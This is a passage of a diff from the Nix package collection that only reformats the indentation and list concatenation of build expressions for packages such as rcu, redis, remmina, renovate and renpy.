   doCheck = false;
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out/{bin,share}
-      cp -r src $out/share/rcu
+    mkdir -p $out/{bin,share}
+    cp -r src $out/share/rcu
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -Dm644 package_support/gnulinux/50-remarkable.rules $out/etc/udev/rules.d/50-remarkable.rules
-    ''
-    + ''
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -Dm644 package_support/gnulinux/50-remarkable.rules $out/etc/udev/rules.d/50-remarkable.rules
+  ''
+  + ''
 
-      # Keep source from being GC'd by linking into it
+    # Keep source from being GC'd by linking into it
 
-      for icondir in $(find icons -type d -name '[0-9]*x[0-9]*'); do
-        iconsize=$(basename $icondir)
-        mkdir -p $out/share/icons/hicolor/$iconsize/apps
-        ln -s ${src}/icons/$iconsize/rcu-icon-$iconsize.png $out/share/icons/hicolor/$iconsize/apps/rcu.png
-      done
+    for icondir in $(find icons -type d -name '[0-9]*x[0-9]*'); do
+      iconsize=$(basename $icondir)
+      mkdir -p $out/share/icons/hicolor/$iconsize/apps
+      ln -s ${src}/icons/$iconsize/rcu-icon-$iconsize.png $out/share/icons/hicolor/$iconsize/apps/rcu.png
+    done
 
-      mkdir -p $out/share/icons/hicolor/scalable/apps
-      ln -s ${src}/icons/64x64/rcu-icon-64x64.svg $out/share/icons/hicolor/scalable/apps/rcu.svg
+    mkdir -p $out/share/icons/hicolor/scalable/apps
+    ln -s ${src}/icons/64x64/rcu-icon-64x64.svg $out/share/icons/hicolor/scalable/apps/rcu.svg
 
-      mkdir -p $out/share/doc/rcu
-      for docfile in {COPYING,manual.pdf}; do
-        ln -s ${src}/manual/$docfile $out/share/doc/rcu/$docfile
-      done
+    mkdir -p $out/share/doc/rcu
+    for docfile in {COPYING,manual.pdf}; do
+      ln -s ${src}/manual/$docfile $out/share/doc/rcu/$docfile
+    done
 
-      mkdir -p $out/share/licenses/rcu
-      ln -s ${src}/COPYING $out/share/licenses/rcu/COPYING
+    mkdir -p $out/share/licenses/rcu
+    ln -s ${src}/COPYING $out/share/licenses/rcu/COPYING
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   # Manually creating wrapper, hook struggles with lack of shebang & symlink
   dontWrapPythonPrograms = true;
 
-  preFixup =
-    ''
-      makeWrapperArgs+=(
-        "''${qtWrapperArgs[@]}"
-        --prefix PATH : ${
-          lib.makeBinPath [
-            coreutils
-            gnutar
-            wget
-          ]
-        }
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
+  preFixup = ''
+    makeWrapperArgs+=(
+      "''${qtWrapperArgs[@]}"
       --prefix PATH : ${
         lib.makeBinPath [
-          nettools
-          system-config-printer
+          coreutils
+          gnutar
+          wget
         ]
       }
-    ''
-    + ''
-      )
-    '';
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    --prefix PATH : ${
+      lib.makeBinPath [
+        nettools
+        system-config-printer
+      ]
+    }
+  ''
+  + ''
+    )
+  '';
 
   postFixup = ''
     makeWrapper ${lib.getExe python3Packages.python} $out/bin/rcu \
diff --git a/pkgs/by-name/rd/rdesktop/package.nix b/pkgs/by-name/rd/rdesktop/package.nix
index dc9f40b9cf50..4580913d5568 100644
--- a/pkgs/by-name/rd/rdesktop/package.nix
+++ b/pkgs/by-name/rd/rdesktop/package.nix
@@ -31,23 +31,23 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     autoreconfHook
   ];
-  buildInputs =
-    [
-      openssl
-      libX11
-      libXcursor
-      libtasn1
-      nettle
-      gnutls
-    ]
-    ++ lib.optional enableCredssp krb5
-    ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+  buildInputs = [
+    openssl
+    libX11
+    libXcursor
+    libtasn1
+    nettle
+    gnutls
+  ]
+  ++ lib.optional enableCredssp krb5
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
 
   configureFlags = [
     "--with-ipv6"
     "--with-openssl=${openssl.dev}"
     "--disable-smartcard"
-  ] ++ lib.optional (!enableCredssp) "--disable-credssp";
+  ]
+  ++ lib.optional (!enableCredssp) "--disable-credssp";
 
   patches = [
     ./rdesktop-configure-c99.patch
diff --git a/pkgs/by-name/re/re2/package.nix b/pkgs/by-name/re/re2/package.nix
index 8781413e48ba..0afcc9c6b974 100644
--- a/pkgs/by-name/re/re2/package.nix
+++ b/pkgs/by-name/re/re2/package.nix
@@ -43,15 +43,14 @@ stdenv.mkDerivation (finalAttrs: {
 
   propagatedBuildInputs = [ abseil-cpp ] ++ lib.optionals (!stdenv.hostPlatform.isStatic) [ icu ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "RE2_BUILD_TESTING" true)
-      (lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--timeout;999999")
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isStatic) [
-      (lib.cmakeBool "RE2_USE_ICU" true)
-      (lib.cmakeBool "BUILD_SHARED_LIBS" true)
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "RE2_BUILD_TESTING" true)
+    (lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--timeout;999999")
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isStatic) [
+    (lib.cmakeBool "RE2_USE_ICU" true)
+    (lib.cmakeBool "BUILD_SHARED_LIBS" true)
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/re/readsb/package.nix b/pkgs/by-name/re/readsb/package.nix
index 45da067f9758..4df8775517e7 100644
--- a/pkgs/by-name/re/readsb/package.nix
+++ b/pkgs/by-name/re/readsb/package.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
   makeFlags = [
     # set something for version, we removed the original value in postPatch
     "READSB_VERSION=${finalAttrs.version}"
-  ] ++ (lib.lists.optional (rtl-sdr != null) "RTLSDR=yes");
+  ]
+  ++ (lib.lists.optional (rtl-sdr != null) "RTLSDR=yes");
 
   doCheck = true;
   checkTarget = "cprtest";
diff --git a/pkgs/by-name/re/rebels-in-the-sky/package.nix b/pkgs/by-name/re/rebels-in-the-sky/package.nix
index 7a8cf044293f..8f8533357d87 100644
--- a/pkgs/by-name/re/rebels-in-the-sky/package.nix
+++ b/pkgs/by-name/re/rebels-in-the-sky/package.nix
@@ -29,14 +29,13 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ./disable-radio.patch
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      rustPlatform.bindgenHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    rustPlatform.bindgenHook
+  ];
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [ alsa-lib ];
 
   nativeCheckInputs = [
diff --git a/pkgs/by-name/re/recastnavigation/package.nix b/pkgs/by-name/re/recastnavigation/package.nix
index a4f6fc59b948..b93d17aecbb9 100644
--- a/pkgs/by-name/re/recastnavigation/package.nix
+++ b/pkgs/by-name/re/recastnavigation/package.nix
@@ -22,21 +22,20 @@ stdenv.mkDerivation {
     sha256 = "sha256-WVzDI7+UuAl10Tm1Zjkea/FMk0cIe7pWg0iyFLbwAdI=";
   };
 
-  postPatch =
-    ''
-      cp ${catch}/include/catch/catch.hpp Tests/catch.hpp
+  postPatch = ''
+    cp ${catch}/include/catch/catch.hpp Tests/catch.hpp
 
-      # https://github.com/recastnavigation/recastnavigation/issues/524
-      substituteInPlace CMakeLists.txt \
-        --replace '\$'{exec_prefix}/'$'{CMAKE_INSTALL_LIBDIR} '$'{CMAKE_INSTALL_FULL_LIBDIR} \
-        --replace '\$'{prefix}/'$'{CMAKE_INSTALL_INCLUDEDIR} '$'{CMAKE_INSTALL_FULL_INCLUDEDIR}
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Expects SDL2.framework in specific location, which we don't have
-      # Change where SDL2 headers are searched for to match what we do have
-      substituteInPlace RecastDemo/CMakeLists.txt \
-        --replace 'include_directories(''${SDL2_LIBRARY}/Headers)' 'include_directories(${lib.getInclude SDL2}/include/SDL2)'
-    '';
+    # https://github.com/recastnavigation/recastnavigation/issues/524
+    substituteInPlace CMakeLists.txt \
+      --replace '\$'{exec_prefix}/'$'{CMAKE_INSTALL_LIBDIR} '$'{CMAKE_INSTALL_FULL_LIBDIR} \
+      --replace '\$'{prefix}/'$'{CMAKE_INSTALL_INCLUDEDIR} '$'{CMAKE_INSTALL_FULL_INCLUDEDIR}
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Expects SDL2.framework in specific location, which we don't have
+    # Change where SDL2 headers are searched for to match what we do have
+    substituteInPlace RecastDemo/CMakeLists.txt \
+      --replace 'include_directories(''${SDL2_LIBRARY}/Headers)' 'include_directories(${lib.getInclude SDL2}/include/SDL2)'
+  '';
 
   doCheck = true;
 
diff --git a/pkgs/by-name/re/recordbox/package.nix b/pkgs/by-name/re/recordbox/package.nix
index d5631143f6da..143098d63c8a 100644
--- a/pkgs/by-name/re/recordbox/package.nix
+++ b/pkgs/by-name/re/recordbox/package.nix
@@ -65,21 +65,20 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      gtk4
-      hicolor-icon-theme
-      libadwaita
-      sqlite
-    ]
-    ++ (with gst_all_1; [
-      gst-plugins-bad
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-rs
-      gst-plugins-ugly
-      gstreamer
-    ]);
+  buildInputs = [
+    gtk4
+    hicolor-icon-theme
+    libadwaita
+    sqlite
+  ]
+  ++ (with gst_all_1; [
+    gst-plugins-bad
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-rs
+    gst-plugins-ugly
+    gstreamer
+  ]);
 
   mesonBuildType = "release";
 
diff --git a/pkgs/by-name/re/recutils/package.nix b/pkgs/by-name/re/recutils/package.nix
index 1487047257a5..91421c9eac0d 100644
--- a/pkgs/by-name/re/recutils/package.nix
+++ b/pkgs/by-name/re/recutils/package.nix
@@ -41,20 +41,19 @@ stdenv.mkDerivation rec {
     "--with-bash-headers=${bash.dev}/include/bash"
   ];
 
-  buildInputs =
-    [
-      curl
-    ]
-    ++ lib.optionals withEncryption [
-      libgpg-error.dev
-      libgcrypt.dev
-    ]
-    ++ lib.optionals withUuid [
-      libuuid
-    ]
-    ++ lib.optionals withBashBuiltins [
-      bash.dev
-    ];
+  buildInputs = [
+    curl
+  ]
+  ++ lib.optionals withEncryption [
+    libgpg-error.dev
+    libgcrypt.dev
+  ]
+  ++ lib.optionals withUuid [
+    libuuid
+  ]
+  ++ lib.optionals withBashBuiltins [
+    bash.dev
+  ];
 
   env.NIX_CFLAGS_COMPILE = toString (
     lib.optionals stdenv.cc.isClang [
diff --git a/pkgs/by-name/re/redict/package.nix b/pkgs/by-name/re/redict/package.nix
index cbda55fa8b01..eacfc8278357 100644
--- a/pkgs/by-name/re/redict/package.nix
+++ b/pkgs/by-name/re/redict/package.nix
@@ -44,25 +44,27 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [ lua ]
-    ++ lib.optional useSystemJemalloc jemalloc
-    ++ lib.optional withSystemd systemd
-    ++ lib.optionals tlsSupport [ openssl ];
+  buildInputs = [
+    lua
+  ]
+  ++ lib.optional useSystemJemalloc jemalloc
+  ++ lib.optional withSystemd systemd
+  ++ lib.optionals tlsSupport [ openssl ];
 
   preBuild = lib.optionalString stdenv.hostPlatform.isDarwin ''
     substituteInPlace src/Makefile --replace-fail "-flto" ""
   '';
 
   # More cross-compiling fixes.
-  makeFlags =
-    [ "PREFIX=${placeholder "out"}" ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "AR=${stdenv.cc.targetPrefix}ar"
-      "RANLIB=${stdenv.cc.targetPrefix}ranlib"
-    ]
-    ++ lib.optionals withSystemd [ "USE_SYSTEMD=yes" ]
-    ++ lib.optionals tlsSupport [ "BUILD_TLS=yes" ];
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "AR=${stdenv.cc.targetPrefix}ar"
+    "RANLIB=${stdenv.cc.targetPrefix}ranlib"
+  ]
+  ++ lib.optionals withSystemd [ "USE_SYSTEMD=yes" ]
+  ++ lib.optionals tlsSupport [ "BUILD_TLS=yes" ];
 
   enableParallelBuilding = true;
 
@@ -77,7 +79,8 @@ stdenv.mkDerivation (finalAttrs: {
     which
     tcl
     ps
-  ] ++ lib.optionals stdenv.hostPlatform.isStatic [ getconf ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [ getconf ];
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/by-name/re/redis-plus-plus/package.nix b/pkgs/by-name/re/redis-plus-plus/package.nix
index 40cd5a4224e1..4960b55f701f 100644
--- a/pkgs/by-name/re/redis-plus-plus/package.nix
+++ b/pkgs/by-name/re/redis-plus-plus/package.nix
@@ -29,16 +29,15 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [ cmake ];
   propagatedBuildInputs = [ hiredis ];
 
-  cmakeFlags =
-    [
-      "-DREDIS_PLUS_PLUS_BUILD_TEST=OFF"
-    ]
-    ++ lib.optionals (!enableShared) [
-      "-DREDIS_PLUS_PLUS_BUILD_SHARED=OFF"
-    ]
-    ++ lib.optionals (!enableStatic) [
-      "-DREDIS_PLUS_PLUS_BUILD_STATIC=OFF"
-    ];
+  cmakeFlags = [
+    "-DREDIS_PLUS_PLUS_BUILD_TEST=OFF"
+  ]
+  ++ lib.optionals (!enableShared) [
+    "-DREDIS_PLUS_PLUS_BUILD_SHARED=OFF"
+  ]
+  ++ lib.optionals (!enableStatic) [
+    "-DREDIS_PLUS_PLUS_BUILD_STATIC=OFF"
+  ];
 
   meta = with lib; {
     homepage = "https://github.com/sewenew/redis-plus-plus";
diff --git a/pkgs/by-name/re/redis/package.nix b/pkgs/by-name/re/redis/package.nix
index 8bd713bcb00d..4f07669ec8e6 100644
--- a/pkgs/by-name/re/redis/package.nix
+++ b/pkgs/by-name/re/redis/package.nix
@@ -45,21 +45,23 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  buildInputs =
-    [ lua ]
-    ++ lib.optional useSystemJemalloc jemalloc
-    ++ lib.optional withSystemd systemd
-    ++ lib.optional tlsSupport openssl;
+  buildInputs = [
+    lua
+  ]
+  ++ lib.optional useSystemJemalloc jemalloc
+  ++ lib.optional withSystemd systemd
+  ++ lib.optional tlsSupport openssl;
 
   # More cross-compiling fixes.
-  makeFlags =
-    [ "PREFIX=${placeholder "out"}" ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "AR=${stdenv.cc.targetPrefix}ar"
-      "RANLIB=${stdenv.cc.targetPrefix}ranlib"
-    ]
-    ++ lib.optionals withSystemd [ "USE_SYSTEMD=yes" ]
-    ++ lib.optionals tlsSupport [ "BUILD_TLS=yes" ];
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "AR=${stdenv.cc.targetPrefix}ar"
+    "RANLIB=${stdenv.cc.targetPrefix}ranlib"
+  ]
+  ++ lib.optionals withSystemd [ "USE_SYSTEMD=yes" ]
+  ++ lib.optionals tlsSupport [ "BUILD_TLS=yes" ];
 
   enableParallelBuilding = true;
 
@@ -74,7 +76,8 @@ stdenv.mkDerivation (finalAttrs: {
     which
     tcl
     ps
-  ] ++ lib.optionals stdenv.hostPlatform.isStatic [ getconf ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [ getconf ];
   checkPhase = ''
     runHook preCheck
 
diff --git a/pkgs/by-name/re/redo-apenwarr/package.nix b/pkgs/by-name/re/redo-apenwarr/package.nix
index 30a6feafbf13..45ea6d9c2d76 100644
--- a/pkgs/by-name/re/redo-apenwarr/package.nix
+++ b/pkgs/by-name/re/redo-apenwarr/package.nix
@@ -22,31 +22,30 @@ stdenv.mkDerivation rec {
     sha256 = "/QIMXpVhVLAIJa3LiOlRKzbUztIWZygkWZUKN4Nrh+M=";
   };
 
-  postPatch =
-    ''
+  postPatch = ''
 
-      patchShebangs minimal/do
+    patchShebangs minimal/do
 
-    ''
-    + lib.optionalString doCheck ''
-      unset CC CXX
+  ''
+  + lib.optionalString doCheck ''
+    unset CC CXX
 
-      substituteInPlace minimal/do.test \
-        --replace "/bin/pwd" "${coreutils}/bin/pwd"
+    substituteInPlace minimal/do.test \
+      --replace "/bin/pwd" "${coreutils}/bin/pwd"
 
-      substituteInPlace t/105-sympath/all.do \
-        --replace "/bin/pwd" "${coreutils}/bin/pwd"
+    substituteInPlace t/105-sympath/all.do \
+      --replace "/bin/pwd" "${coreutils}/bin/pwd"
 
-      substituteInPlace t/all.do \
-        --replace "/bin/ls" "ls"
+    substituteInPlace t/all.do \
+      --replace "/bin/ls" "ls"
 
-      substituteInPlace t/110-compile/hello.o.do \
-        --replace "/usr/include" "${lib.getDev stdenv.cc.libc}/include"
+    substituteInPlace t/110-compile/hello.o.do \
+      --replace "/usr/include" "${lib.getDev stdenv.cc.libc}/include"
 
-      substituteInPlace t/200-shell/nonshelltest.do \
-        --replace "/usr/bin/env perl" "${perl}/bin/perl"
+    substituteInPlace t/200-shell/nonshelltest.do \
+      --replace "/usr/bin/env perl" "${perl}/bin/perl"
 
-    '';
+  '';
 
   inherit doCheck;
 
diff --git a/pkgs/by-name/re/refind/package.nix b/pkgs/by-name/re/refind/package.nix
index 29f684f86ef8..2a1bbada13a2 100644
--- a/pkgs/by-name/re/refind/package.nix
+++ b/pkgs/by-name/re/refind/package.nix
@@ -58,20 +58,19 @@ stdenv.mkDerivation rec {
 
   hardeningDisable = [ "stackprotector" ];
 
-  makeFlags =
-    [
-      "prefix="
-      "EFIINC=${gnu-efi_3}/include/efi"
-      "EFILIB=${gnu-efi_3}/lib"
-      "GNUEFILIB=${gnu-efi_3}/lib"
-      "EFICRT0=${gnu-efi_3}/lib"
-      "HOSTARCH=${hostarch}"
-      "ARCH=${hostarch}"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isAarch64 [
-      # aarch64 is special for GNU-EFI, see BUILDING.txt
-      "GNUEFI_ARM64_TARGET_SUPPORT=y"
-    ];
+  makeFlags = [
+    "prefix="
+    "EFIINC=${gnu-efi_3}/include/efi"
+    "EFILIB=${gnu-efi_3}/lib"
+    "GNUEFILIB=${gnu-efi_3}/lib"
+    "EFICRT0=${gnu-efi_3}/lib"
+    "HOSTARCH=${hostarch}"
+    "ARCH=${hostarch}"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isAarch64 [
+    # aarch64 is special for GNU-EFI, see BUILDING.txt
+    "GNUEFI_ARM64_TARGET_SUPPORT=y"
+  ];
 
   buildFlags = [
     "gnuefi"
diff --git a/pkgs/by-name/re/refine/package.nix b/pkgs/by-name/re/refine/package.nix
index 5d14b4100b56..2a261744fdf5 100644
--- a/pkgs/by-name/re/refine/package.nix
+++ b/pkgs/by-name/re/refine/package.nix
@@ -50,14 +50,13 @@ python3Packages.buildPythonApplication rec {
     libadwaita
   ];
 
-  dependencies =
-    [
-      libportal
-      libportal-gtk4
-    ]
-    ++ (with python3Packages; [
-      pygobject3
-    ]);
+  dependencies = [
+    libportal
+    libportal-gtk4
+  ]
+  ++ (with python3Packages; [
+    pygobject3
+  ]);
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/re/regripper/package.nix b/pkgs/by-name/re/regripper/package.nix
index 82f615ea1dd6..982a34d6ee52 100644
--- a/pkgs/by-name/re/regripper/package.nix
+++ b/pkgs/by-name/re/regripper/package.nix
@@ -27,7 +27,8 @@ stdenv.mkDerivation {
 
   propagatedBuildInputs = [
     perl
-  ] ++ perlDeps;
+  ]
+  ++ perlDeps;
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/re/rehex/package.nix b/pkgs/by-name/re/rehex/package.nix
index 8f6d56e3a3fa..39cef93f099f 100644
--- a/pkgs/by-name/re/rehex/package.nix
+++ b/pkgs/by-name/re/rehex/package.nix
@@ -31,31 +31,32 @@ stdenv.mkDerivation rec {
     pkg-config
     which
     zip
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libicns ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libicns ];
 
-  buildInputs =
-    [
-      botan3
-      capstone
-      jansson
-      libunistring
-      wxGTK32
-    ]
-    ++ (with lua53Packages; [
-      lua
-      busted
-    ])
-    ++ (with perlPackages; [
-      perl
-      TemplateToolkit
-    ])
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ gtk3 ];
+  buildInputs = [
+    botan3
+    capstone
+    jansson
+    libunistring
+    wxGTK32
+  ]
+  ++ (with lua53Packages; [
+    lua
+    busted
+  ])
+  ++ (with perlPackages; [
+    perl
+    TemplateToolkit
+  ])
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ gtk3 ];
 
   makeFlags = [
     "prefix=${placeholder "out"}"
     "BOTAN_PKG=botan-3"
     "CXXSTD=-std=c++20"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "-f Makefile.osx" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "-f Makefile.osx" ];
 
   env = lib.optionalAttrs stdenv.hostPlatform.isDarwin {
     NIX_LDFLAGS = "-liconv";
diff --git a/pkgs/by-name/re/remmina/package.nix b/pkgs/by-name/re/remmina/package.nix
index eadf47a271b9..6909a247529f 100644
--- a/pkgs/by-name/re/remmina/package.nix
+++ b/pkgs/by-name/re/remmina/package.nix
@@ -65,69 +65,68 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
     pkg-config
     wrapGAppsHook3
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
 
-  buildInputs =
-    [
-      curl
-      gsettings-desktop-schemas
-      glib
-      gtk3
-      gettext
-      libxkbfile
-      libX11
-      freerdp
-      libssh
-      libgcrypt
-      gnutls
-      pcre2
-      libvncserver
-      libpthreadstubs
-      libXdmcp
-      libxkbcommon
-      libsoup_3
-      spice-protocol
-      spice-gtk
-      libepoxy
-      at-spi2-core
-      openssl
-      adwaita-icon-theme
-      json-glib
-      libsodium
-      harfbuzz
-      python3
-      wayland
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      fuse3
-      libappindicator-gtk3
-      libdbusmenu-gtk3
-    ]
-    ++ lib.optionals withLibsecret [ libsecret ]
-    ++ lib.optionals withKf5Wallet [ libsForQt5.kwallet ]
-    ++ lib.optionals withWebkitGtk [ webkitgtk_4_1 ]
-    ++ lib.optionals withVte [ vte ];
+  buildInputs = [
+    curl
+    gsettings-desktop-schemas
+    glib
+    gtk3
+    gettext
+    libxkbfile
+    libX11
+    freerdp
+    libssh
+    libgcrypt
+    gnutls
+    pcre2
+    libvncserver
+    libpthreadstubs
+    libXdmcp
+    libxkbcommon
+    libsoup_3
+    spice-protocol
+    spice-gtk
+    libepoxy
+    at-spi2-core
+    openssl
+    adwaita-icon-theme
+    json-glib
+    libsodium
+    harfbuzz
+    python3
+    wayland
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    fuse3
+    libappindicator-gtk3
+    libdbusmenu-gtk3
+  ]
+  ++ lib.optionals withLibsecret [ libsecret ]
+  ++ lib.optionals withKf5Wallet [ libsForQt5.kwallet ]
+  ++ lib.optionals withWebkitGtk [ webkitgtk_4_1 ]
+  ++ lib.optionals withVte [ vte ];
 
   env.NIX_CFLAGS_COMPILE = "-Wno-error=incompatible-pointer-types";
 
-  cmakeFlags =
-    [
-      "-DWITH_FREERDP3=ON"
-      "-DWITH_VTE=${if withVte then "ON" else "OFF"}"
-      "-DWITH_TELEPATHY=OFF"
-      "-DWITH_AVAHI=OFF"
-      "-DWITH_KF5WALLET=${if withKf5Wallet then "ON" else "OFF"}"
-      "-DWITH_LIBSECRET=${if withLibsecret then "ON" else "OFF"}"
-      "-DWITH_WEBKIT2GTK=${if withWebkitGtk then "ON" else "OFF"}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DHAVE_LIBAPPINDICATOR=OFF"
-      "-DWITH_CUPS=OFF"
-      "-DWITH_ICON_CACHE=OFF"
-      # Don't use system installed Python like on GitHub Actions runners
-      "-DPYTHON_INCLUDE_DIR=${python3}/include/${python3.libPrefix}"
-      "-DPYTHON_LIBRARY=${python3}/lib/libpython${python3.pythonVersion}${stdenv.hostPlatform.extensions.sharedLibrary}"
-    ];
+  cmakeFlags = [
+    "-DWITH_FREERDP3=ON"
+    "-DWITH_VTE=${if withVte then "ON" else "OFF"}"
+    "-DWITH_TELEPATHY=OFF"
+    "-DWITH_AVAHI=OFF"
+    "-DWITH_KF5WALLET=${if withKf5Wallet then "ON" else "OFF"}"
+    "-DWITH_LIBSECRET=${if withLibsecret then "ON" else "OFF"}"
+    "-DWITH_WEBKIT2GTK=${if withWebkitGtk then "ON" else "OFF"}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DHAVE_LIBAPPINDICATOR=OFF"
+    "-DWITH_CUPS=OFF"
+    "-DWITH_ICON_CACHE=OFF"
+    # Don't use system installed Python like on GitHub Actions runners
+    "-DPYTHON_INCLUDE_DIR=${python3}/include/${python3.libPrefix}"
+    "-DPYTHON_LIBRARY=${python3}/lib/libpython${python3.pythonVersion}${stdenv.hostPlatform.extensions.sharedLibrary}"
+  ];
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/by-name/re/renderdoc/package.nix b/pkgs/by-name/re/renderdoc/package.nix
index f4b20fb253c9..c5ec6facfacf 100644
--- a/pkgs/by-name/re/renderdoc/package.nix
+++ b/pkgs/by-name/re/renderdoc/package.nix
@@ -47,20 +47,19 @@ stdenv.mkDerivation (finalAttrs: {
     "doc"
   ];
 
-  buildInputs =
-    [
-      libXdmcp
-      libpthreadstubs
-      python311Packages.pyside2
-      python311Packages.pyside2-tools
-      python311Packages.shiboken2
-      qt5.qtbase
-      qt5.qtsvg
-      vulkan-loader
-    ]
-    ++ lib.optionals waylandSupport [
-      wayland
-    ];
+  buildInputs = [
+    libXdmcp
+    libpthreadstubs
+    python311Packages.pyside2
+    python311Packages.pyside2-tools
+    python311Packages.shiboken2
+    qt5.qtbase
+    qt5.qtsvg
+    vulkan-loader
+  ]
+  ++ lib.optionals waylandSupport [
+    wayland
+  ];
 
   nativeBuildInputs = [
     addDriverRunpath
diff --git a/pkgs/by-name/re/renovate/package.nix b/pkgs/by-name/re/renovate/package.nix
index 0bdec9479968..d5d212583324 100644
--- a/pkgs/by-name/re/renovate/package.nix
+++ b/pkgs/by-name/re/renovate/package.nix
@@ -35,7 +35,8 @@ stdenv.mkDerivation (finalAttrs: {
     pnpm_10.configHook
     python3
     yq-go
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin xcbuild;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin xcbuild;
 
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
@@ -45,32 +46,31 @@ stdenv.mkDerivation (finalAttrs: {
 
   env.COREPACK_ENABLE_STRICT = 0;
 
-  buildPhase =
-    ''
-      runHook preBuild
+  buildPhase = ''
+    runHook preBuild
 
-      # relax nodejs version
-      yq '.engines.node = "${nodejs.version}"' -i package.json
+    # relax nodejs version
+    yq '.engines.node = "${nodejs.version}"' -i package.json
 
-      pnpm build
-      find -name 'node_modules' -type d -exec rm -rf {} \; || true
-      pnpm install --offline --prod --ignore-scripts
-    ''
-    # The optional dependency re2 is not built by pnpm and needs to be built manually.
-    # If re2 is not built, you will get an annoying warning when you run renovate.
-    + ''
-      pushd node_modules/.pnpm/re2*/node_modules/re2
+    pnpm build
+    find -name 'node_modules' -type d -exec rm -rf {} \; || true
+    pnpm install --offline --prod --ignore-scripts
+  ''
+  # The optional dependency re2 is not built by pnpm and needs to be built manually.
+  # If re2 is not built, you will get an annoying warning when you run renovate.
+  + ''
+    pushd node_modules/.pnpm/re2*/node_modules/re2
 
-      mkdir -p $HOME/.node-gyp/${nodejs.version}
-      echo 9 > $HOME/.node-gyp/${nodejs.version}/installVersion
-      ln -sfv ${nodejs}/include $HOME/.node-gyp/${nodejs.version}
-      export npm_config_nodedir=${nodejs}
-      npm run rebuild
+    mkdir -p $HOME/.node-gyp/${nodejs.version}
+    echo 9 > $HOME/.node-gyp/${nodejs.version}/installVersion
+    ln -sfv ${nodejs}/include $HOME/.node-gyp/${nodejs.version}
+    export npm_config_nodedir=${nodejs}
+    npm run rebuild
 
-      popd
+    popd
 
-      runHook postBuild
-    '';
+    runHook postBuild
+  '';
 
   # TODO: replace with `pnpm deploy`
   # now it fails to build with ERR_PNPM_NO_OFFLINE_META
diff --git a/pkgs/by-name/re/renpy/package.nix b/pkgs/by-name/re/renpy/package.nix
index 51ef113f9f03..06159e74d14c 100644
--- a/pkgs/by-name/re/renpy/package.nix
+++ b/pkgs/by-name/re/renpy/package.nix
@@ -41,29 +41,28 @@ stdenv.mkDerivation (finalAttrs: {
     python.pkgs.setuptools
   ];
 
-  buildInputs =
-    [
-      ffmpeg
-      freetype
-      fribidi
-      glew
-      harfbuzz
-      libGL
-      libGLU
-      libpng
-      SDL2
-      zlib
-    ]
-    ++ (with python.pkgs; [
-      ecdsa
-      future
-      pefile
